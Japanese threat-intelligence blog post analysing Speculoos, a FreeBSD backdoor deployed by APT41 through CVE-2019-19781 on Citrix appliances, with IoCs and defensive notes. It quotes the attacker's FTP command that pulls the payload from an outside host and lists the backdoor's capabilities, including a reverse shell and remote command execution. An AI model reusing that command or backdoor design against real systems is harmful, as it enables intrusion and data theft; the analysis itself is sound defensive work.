This post is also available in: English (英語)
概要
2020年3月25日、FireEyeが世界規模の攻撃キャンペーンに関する調査ブログを公開しました。この攻撃キャンペーンは、スパイ活動をその動機にもつAPT41という名前で知られる攻撃者グループが主導していました。この攻撃キャンペーンは、1月20日から3月11日の間に実行されたと考えられ、最近報告された脆弱性をエクスプロイトすることによって、主にCitrix、Cisco、Zoho各社のネットワークアプライアンスを標的にしていました。弊社の脅威インテリジェンスリサーチチームUnit 42でも、WildFireとAutoFocusのデータに基づいてCitrix製アプライアンスを標的にしたペイロード サンプルを入手することができました。このペイロードは、FreeBSD上での実行を想定してコンパイルされた実行可能ファイルです。また、このデータを使用して、さまざまな業界でこの攻撃の被害者が見つかりました。対象の業界には、医療、高等教育、製造業、政府機関、テクノロジサービスなどが含まれており、対象地域は北米、南米、欧州などにまたがっていました。
本稿では、弊社がSpeculoosと命名したFreeBSD上で動作するペイロードを取り上げます。弊社では、このデータセットから合計5点のサンプルを特定しています。これらは、ファイルサイズがほぼ同じでありながら、すべてのサンプルどうしで互いに細かい相違があります。このわずかな相違は、これらが元は同じ開発者の手によるものであり、そこから再コンパイルまたはパッチ適用によって派生した可能性を示すものです。FireEyeの説明にあるとおり、SpeculoosはCVE-2019-19781の脆弱性をエクスプロイトして配信されます。この脆弱性は、Citrix Application Delivery Controller、Citrix Gateway、Citrix SD-WAN WANOPの各アプライアンスに影響を及ぼし、これによって攻撃者は任意のコマンドをリモートから実行できます。この脆弱性は、2019年12月17日にセキュリティ速報CTX267679で初めて報告され、推奨される緩和策もそこでいくつか紹介されていました。2020年1月24日までに、影響を受ける各アプライアンス向けに根本的対策用のパッチが公開されています。本脆弱性が公開されたタイミングや影響を受ける業界・地域の多さから、本攻撃キャンペーンは基本的には日和見的なものであったとも考えられ、スパイ活動を主とするこうした攻撃者で通常見られる標的を絞り込んだ攻撃キャンペーンとは一線を画すものだったようです。しかしながらその一方で、FreeBSDオペレーティングシステムでの実行に特化して設計されたバックドアの配信や脆弱性のエクスプロイトからは、本脆弱性の影響を受けるデバイスを絶対的な標的として狙った様子もうかがえます。
攻撃の詳細
FireEyeの報告にあるように、この攻撃キャンペーンでは攻撃者がCVE-2019-19781をエクスプロイトし、コマンド /usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/<filename> を使用することにより、FTPを介してSpeculoosを取得することを被害アプライアンスに指示しています。弊社のデータにはこの活動との一致性が見られます。攻撃の第一波は、このコマンドの<filename>にbsdが使用され、2020年1月31日の晩(協定世界時、以下同様)から2020年2月1日の午後まで続きました。この第一波では、米国の複数の高等教育機関、米国の1か所の医療機関、アイルランドの1か所のコンサルティング会社が被害を受けています。攻撃の第二波は2020年2月24日の午前から2020年2月25日の夜半過ぎまで続き、このときはfilenameとしてunが使用されていました。この第二波では、コロンビアの高等教育機関、オーストリアの製造業企業、第一波でも標的になった米国の高等教育機関、米国の政府機関が被害を受けています。Unit 42がアクセスできたデータがすべてを網羅しているわけではありませんが、手元にデータがある被害者の広がりを調べると、この攻撃キャンペーンはAPT41がどちらかといえば日和見的にプッシュしたものであった様子がうかがわれます。その目的は、手間をかけずに多数の組織に足場を築き、攻撃インフラストラクチャを拡張することにあったと考えられます。
FreeBSD上での動作に特化したツールの展開というのは非常に斬新です。BSDで動作するシステムを標的とするマルウェアは比較的まれで、特定Citrixネットワークアプライアンスに影響する脆弱性と組み合わせてSpeculoosを使用していることを考えると、APT41はこのツールをこの攻撃キャンペーンのために作成した可能性が高いと考えられます。
バイナリの分析
Speculoosバックドアは、FreeBSDシステム上で動作するようにGCC 4.2.1でコンパイルされたELF実行可能ファイルです。このペイロードそのものでは永続性を確保できるように見えないので、このペイロードで確立した足場を攻撃者が維持するには、独立したコンポーネントか追加手順が必要と考えられます。実行されると、このペイロードは443/tcp経由で次のコマンド アンド コントロール(C2)ドメインと通信する関数を呼び出すループ処理を開始します。
alibaba.zzux[.]com (resolving to 119.28.139[.]120)
このドメインと通信できければ、Speculoosは119.28.139[.]20にあるバックアップC2の使用を試みます。この場合も443/tcpが使用されます。いずれかのC2サーバーに接続できればそのサーバーとTLSハンドシェイクを行います。このハンドシェイクでは、最初のパケットとして使用するバイナリでハードコードされたバッファが使用されます。C2サーバーに送信されるハードコードされたバッファを図1に示します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
16 03 01 00 B5 01 00 00 B1 03 01 00 00 00 00 00 ................ 00 00 00 00 00 6A CE 14 27 3F 24 92 AB 0A A3 F7 .....j..'?$..... DB 21 1C D6 7F FD E3 A3 50 00 00 00 00 48 C0 0A .............H.. C0 14 00 88 00 87 00 39 00 38 C0 0F C0 05 00 84 .......9.8...... 00 35 C0 07 C0 09 C0 11 C0 13 00 45 00 44 00 66 .5.........E.D.f 00 33 00 32 C0 0C C0 0E C0 02 C0 04 00 96 00 41 .3.2...........A 00 04 00 05 00 2F C0 08 C0 12 00 16 00 13 C0 0D ...../.......... C0 03 FE FF 00 0A 02 01 00 00 3F 00 00 00 13 00 ..........?..... 11 00 00 0E 6C 6F 67 69 6E 2E 6C 69 76 65 2E 63 ....login.live.c 6F 6D FF 01 00 01 00 00 0A 00 08 00 06 00 17 00 om.............. 18 00 19 00 0B 00 02 01 00 00 23 00 00 33 74 00 ..........#..3t. 00 00 05 00 05 01 00 00 00 00 .......... |
図1: C2サーバーに送信され、TLS Client Helloパケットとして使用されるハードコードされたバッファ
図2は、これがTLS 1.0のハンドシェイクパケットであり、具体的にはClient Helloであることを示しています。このClient Helloパケットできわめて興味深いのは、Server Name Indication (SNI)としてlogin.live[.]comを要求している点です(図2参照)。ここからはこのハンドシェイクを無害なものに見せようとする作者の意図がうかがえます。
C2に接続し、TLSハンドシェイクを完了したSpeculoosは、最初のシステム列挙を実行して被害システムの特徴を取得し、そのデータをC2サーバーに返します。この情報の保存に使用されるバッファはサイズ1,048バイトで、以下の表1に示す構造を備えています。
オフセット | 説明 | 備考 |
0 | 識別子 | ハードコードされた文字列"freebsd" |
64 | 不明 | ハードコードされた"5" |
68 | ユーザー名 | 'getuid'を使用してプロセスのユーザーを取得した後、'getpwuid.pw_name'を使用して名前を取得 |
132 | MACアドレス | if_nameindexを使用してインターフェイスごとに処理を繰り返し |
152 | OSバージョン | 'uname -v'の結果 |
216 | ホスト名 | 'uname -s'または'hostname'の結果 |
280 | ディスク空間 | '/'および'/private/var'のファイルシステムを列挙 |
904 | 物理メモリ | sysctl hw.physmem |
908 | ユーザーメモリ | sysctl hw.usermem |
912 | CPUの数 | sysctl hw.ncpu |
916 | CPUの速度 | sysctl machdep.tsc_freq/1000000 |
920 | CPUのモデル | sysctl hw.model |
表1: 収集したシステム情報をC2に送信する際に使用される構造
このデータはTLSチャネルを介して送信され、Speculoosは応答として2バイトのデータ受信を待機します。この応答を受け取ったSpeculoosは、C2に1バイト(0xa)を送信し、コマンドの受信を開始するループ処理に入ります。これにより攻撃者は表2の各コマンドを被害システムに対して実行できるようになります。Speculoosで使用できるコマンド群をながめれば、Speculoosがあらゆる機能をフル装備したバックドアで、攻撃者が被害システムを全面的に制御できることがわかります。
コマンド | サブコマンド | 説明 |
0x1E | シェル関連のサブコマンドハンドラを作成します。 | |
w (0x77) | "/bin/sh"プロセスのフォーク処理によってリモートシェルを作成し、標準入力、標準出力、標準エラーをTLSソケットにリダイレクトします。 | |
f (0x66) | ディスク関連のサブコマンドハンドラを作成します。 | |
f (0x66) | ファイルを削除します(unlink関数)。 | |
k (0x6B) | ディレクトリを削除します(rm -rf "<path>")。 | |
e (0x65) | 指定されたファイルを実行します(execv)。 | |
g (0x67) | ファイルをダウンロードします。 | |
i (0x69) | ファイルをアップロードします。 | |
0x14 | プロセスを列挙します(名前、PID、PPID、スレッド)。 | |
0x15 | プロセスを強制終了します。 | |
0x1 | フォルダの内容をリストします。 | |
! (0x21) | "sh -c"を使用してコマンドを実行します。 |
表2: Speculoosのコマンドハンドラのコマンド
弊社で分析した2つのSpeculoosサンプルは機能的には同一で、両者の差異はわずか8バイトでした。この8バイトの差異は、システム情報収集に使用するuname -sコマンドを作者がhostnameコマンドに置き換えていることに起因しています。これら両コマンドが返す結果は異なるので、コマンドの変更理由ははっきりしません。uname -sではFreeBSDシステム上のカーネル情報として文字列「FreeBSD」が返され、hostnameではホストシステムの名前が返されます。弊社で分析したこれら2つのSpeculoosサンプルをバイナリ比較し、8バイトの差異を確認した結果を図3に示します。
影響評価
許可されていないユーザーがリモートからコードを実行できる脆弱性が存在しているということは、セキュリティ上重大な問題が発生する可能性がほぼ常に存在しているということです。特に、一般公開されているシステムがこの脆弱性の影響を受けた場合は深刻です。この事例では、一般公開が前提となりえる複数のアプライアンスがCVE-2019-19781に影響を受けていることから、攻撃者はとくに積極的にこの脆弱性をエクスプロイトしてカスタムバックドアを仕掛けていると考えられます。この脆弱性の影響を受けるアプライアンスの種類を考慮すれば、当該アプライアンスを利用中の組織はすべて、ただちに緩和策を実施することが重要です。組織のネットワーク活動はそのほとんどすべてが脆弱性の影響を受けるネットワークアプライアンスを経由する必要があるため、組織全体のネットワーク活動が攻撃者によって容易に監視・改ざんされてしまいます。これは数台のデバイスを侵害するより効率がよいのです。
さらに、こうしたネットワークアプライアンスはデフォルトで組織の膨大なシステムにアクセスできることから、ネットワーク内の横展開も非常に容易です。攻撃者は侵害済みのアプライアンスを経由してアクティビティを実行したいホストに直接移動できるほか、ネットワークトラフィックを変更して悪意のあるさまざまなアクションを実行させることすら可能です。このようなアクションとして、悪意のあるコードの注入や配信、中間者攻撃の実施、認証情報の窃取目的で攻撃者が所有するログインページへのユーザーの誘導などが考えられます。最後の注意点として、こうしたネットワークアプライアンスの性格上、こうした攻撃の検出がきわめて困難なことがあげられます。ブラックボックス的なソリューションであることが多く、なにか問題がないかぎり、異常なアクティビティを検出するための操作や検査の対象にならないことが普通だからです。
パロアルトネットワークスのお客様は以下の方法で保護されています。
- 対応する脅威シグネチャID は57625、57570、57497です。
- WildFireでは、Speculoosが適切に悪意があるものとして分類されます。
- DNS Securityでは、C2ドメインが悪意があるものとして分類されます。
- AutoFocusをご利用中のお客様は、Speculoosタグで詳細を把握できます。
IoC
分析済みのSpeculoosのSHA256
- 99c5dbeb545af3ef1f0f9643449015988c4e02bf8a7164b5d6c86f67e6dc2d28
- 6943fbb194317d344ca9911b7abb11b684d3dca4c29adcbcff39291822902167
追加のSpeculoosのSHA256
- 493574e9b1cc618b1a967ba9dabec474bb239777a3d81c11e49e7bb9c71c0c4e
- 85297097f6dbe8a52974a43016425d4adaa61f3bdb5fcdd186bfda2255d56b3d
- c2a88cc3418b488d212b36172b089b0d329fa6e4a094583b757fdd3c5398efe1
ネットワークインジケーター
- 119.28.139[.]20
- alibaba.zzux[.]com
- 119.28.139[.]120
- 66.42.98[.]220